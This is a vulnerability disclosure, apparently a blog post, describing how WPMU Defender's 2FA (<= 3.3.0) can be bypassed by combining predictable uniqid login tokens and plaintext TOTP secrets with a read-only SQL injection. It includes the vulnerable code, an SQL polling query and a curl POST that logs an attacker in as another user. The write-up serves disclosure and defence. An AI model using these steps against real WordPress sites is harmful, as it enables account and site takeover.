Total site takeover through broken 2FA in combination with SQLi – (WPMU Defender <= 3.3.0)

Affected pluginWPMU Defender
Active installs70,000+
Vulnerable version<= 3.3.0
Audited version3.2.0
Fully patched version
Recommended remediationRemoval of the plugin

Description


An attacker can compromise any site using the plugin’s 2FA functionality by logging in as any user with two-factor authentication configured.

The precondition is that any plugin, any theme, or WordPress Core has one of the seemingly never-ending real-only SQL Injection vulnerabilities.

Furthermore, the attacker needs to obtain a valid WordPress nonce which he can achieve by being a subscriber or higher on the target site (WooCommerce, LMS) or through a leaked nonce salt.

Proof of concept


This attack is possible through multiple security neglects in the plugin.

Once a legitimate user with 2FA enabled tries to log in to his account, the plugin will intercept the request and redirect the user to the 2FA form.

Before that happens a “random” token will be generated and stored for the user in the “wp_usermeta” table.

// EDITOR: more code here

$params['token'] = uniqid( 'two_fa' );
update_user_meta( $user->ID, 'defender_two_fa_token', $params['token'] );

// EDITOR: 2FA form is shown here.

*Using the “uniqid” function is the first mistake as the PHP manual clearly states that this function does not generate cryptographically secure values.

Caution

This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead.

The plugin includes the “random” token as a hidden form field in the 2FA form so that it can identify the user it should log in the after the subsequent (successful) 2FA validation.

An attacker can use this mechanism to trick the plugin into logging him in without ever providing the primary credentials of the target user.

The exploitable method is called “Two_Factor::verify_otp_login_time” and runs every time a post request is submitted to “/wp-login.php?action=defender-verify-otp“.

Leaving out most of the boilerplate code, the method performs the following tasks:

  1. Validation of a WordPress nonce
  2. Fetching the user to be logged in by querying the “wp_usermeta” table for the “random” token.
  3. Validating the configured 2FA method (TOTP in this case)
  4. Logging in the user from step 2.
public function verify_otp_login_time() {
 
 // EDITOR: WordPress nonce validation
 if ( ! wp_verify_nonce( $_POST['_wpnonce'], 'verify_otp' ) ) {
  return;
 }
  
 // EDITOR: finding the user by token
 $token = HTTP::post( 'login_token' );
 $query = new \WP_User_Query(
  [
   'blog_id' => 0,
   'meta_key' => 'defender_two_fa_token',
   'meta_value' => $token,
  ]
 );
 
 $user = $query->get_results()[0];
  
 
 // EDITOR: validating the TOTP code
 $result = $provider->validate_authentication( $user );
 
 if ( $result ) {
   
   // EDITOR: logging in the user
   
   $user_id = $user->ID;
  
   wp_set_current_user( $user_id, $user->user_login );
   
   wp_set_auth_cookie( $user_id, true );
   
   
  }
 }

First, an attacker must gain access to a valid WordPress nonce for the action “verify_otp“.

To easiest way for this is being a subscriber (or higher) on the target site. A common case for this would be a WooCommerce customer or an LMS member.

After an attacker logs into the site using his (low-privileged) primary credentials, the plugin will redirect him to a site containing the following 2FA form:

<form method="post" class="wpdef-2fa-form" id="wpdef-2fa-form-backup-codes" action="https://2fa.test/wp-login.php?action=defender-verify-otp" style="display: block;">

		<p class="wpdef-2fa-label">Backup Codes</p>
		<p class="wpdef-2fa-text">
			Enter one of your recovery codes to log in to your account.		
    </p>
		<input type="text" autofocus="" value="" autocomplete="off" name="backup-codes">
		<button class="button button-primary float-r" type="submit">Authenticate</button>
		
		<input type="hidden" name="auth_method" value="backup-codes">
		<input type="hidden" name="login_token" value="two_fa6318b5cd2e2fe">
		<input type="hidden" name="redirect_to" value="https://2fa.test/wp-admin/">
		<input type="hidden" name="password" value="sub">
		<input type="hidden" id="_wpnonce" name="_wpnonce" value="0a5c3caa04"><input type="hidden" name="_wp_http_referer" value="/wp-login.php">		
</form>

Line 14 contains a WordPress nonce (0a5c3caa04) that will be valid during the next 24 hours.

Now, an attacker can use his read-only SQLi to continuously poll the “wp_usermeta” table for inserts into the “wp_usermeta” table.

SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'defender_two_fa_token'

Every time this query returns a result, the “meta_value” column will contain
a valid “random” token (as serialized PHP array) that the attacker can use to initiate the login flow for the user with the id of the “user_id” column.

An attacker now has a 10 to 15 seconds time window before the target user enters his TOTP code from his authentication app, which is more than enough to pull off the attack in an automated fashion.

An attacker can now fetch the user’s TOTP secret from the database since the plugin stores them in plaintext.

Knowing the target user’s TOTP secret is the only thing necessary to generate a valid six-digit one-time-password using a TOTP library in any programming language.

Suppose a valid TOTP at the time of launching the attacker is 123456 and the fetched login token is “342343223456asd425sdfda1“.

Submitting the following POST request will log the attacker in as the target user.

curl -X POST https://target.com/wp-login.php?action=defender-verify-otp \
-d otp=123456 \
-d _wpnonce=0a5c3caa04 \
-d login_token=342343223456asd425sdfda1

The site is now wholly compromised.

Timeline


Vendor contactedSeptember 07, 2022
First ResponseSeptember 08, 2022
Fully patched at
Publicly disclosedApril 24, 2023

Miscellaneous


Leave a Reply

Your email address will not be published. Required fields are marked *